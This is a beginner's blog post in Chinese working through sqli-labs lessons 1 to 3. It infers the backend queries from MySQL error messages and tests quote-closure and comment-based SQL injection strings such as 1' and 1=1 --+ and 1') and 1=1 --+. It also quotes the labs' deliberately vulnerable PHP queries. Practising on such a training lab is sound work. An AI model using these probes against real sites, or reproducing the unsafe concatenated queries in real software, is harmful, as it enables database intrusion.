小白初学sql注入

**

lesson 1&2&3

**

lesson1
根据报错信息 推导 php语句

注入
?id=1 成功显示
?id=1’ 报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1’ at line 1

猜测
SELECT username,password from table where id = input

?id=1\
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1\’ LIMIT 0,1’ at line 1

”1\’ LIMIT 0,1’ at line 1

“程序最外层的单引号是用来标识错误的”

’ ‘1\’ LIMIT 0,1 ’ at line 1

’ ’ 1\’ LIMIT 0,1 ’ at line 1
1\是我们输入的
但还有两个单引号 所以sql语句应该是这样的

select username,password from table where id=   'input'

插入攻击代码
select username,password from table where id=   'input 攻击代码'

第一种方法       单引号闭合

id=1' and '1='1
select username,password from table where id='1' and '1='1'

第二种方法
注释          --   --后面加空格用来注释  我们可以用+避免遗漏

id=1' and 1=1 --+
select username,password from table where id= '1' and 1=1 --+'(--+之后注释掉了)


测试

我们测试一下 and1’=’1and1’=‘2
发现and1’=‘2  返回错误      可以判断存在sql 注入
同理测试  第二种方法     注释

查看sql--lab --less1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

**

lesson2

**

id= 1
id= 1’
报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” LIMIT 0,1’ at line 1
id=1\
near ‘\ LIMIT 0,1’ at line 1
id=1’\
”\ LIMIT 0,1’ at line 1
猜测
select username,password from table where id= input
查看lesson2
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

sql语句 LIMIT m,n

指从m+1条开始取 n 条记录
eg.
LIMIT 2,4
取出第3条到第6条之间的记录 共4条 不够的话能返回几条就返回几条

lesson3

id=1可以猜测

select usename,password from table where id= input

id=1’

报错 near ”1”) LIMIT 0,1’ at line 1

near ’ ’ 1’ ‘) LIMIT 0,1’ at line 1

测试 =1’) and (‘1’=1’ 成功
测试 =1’) and 1=1 –+ 成功
测试 =1’) and 1=2 –+ 返回错误 存在sql注入

猜测
select usename,paseeword from table where id =(‘input’)

查看 lesson3 sql 语句

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值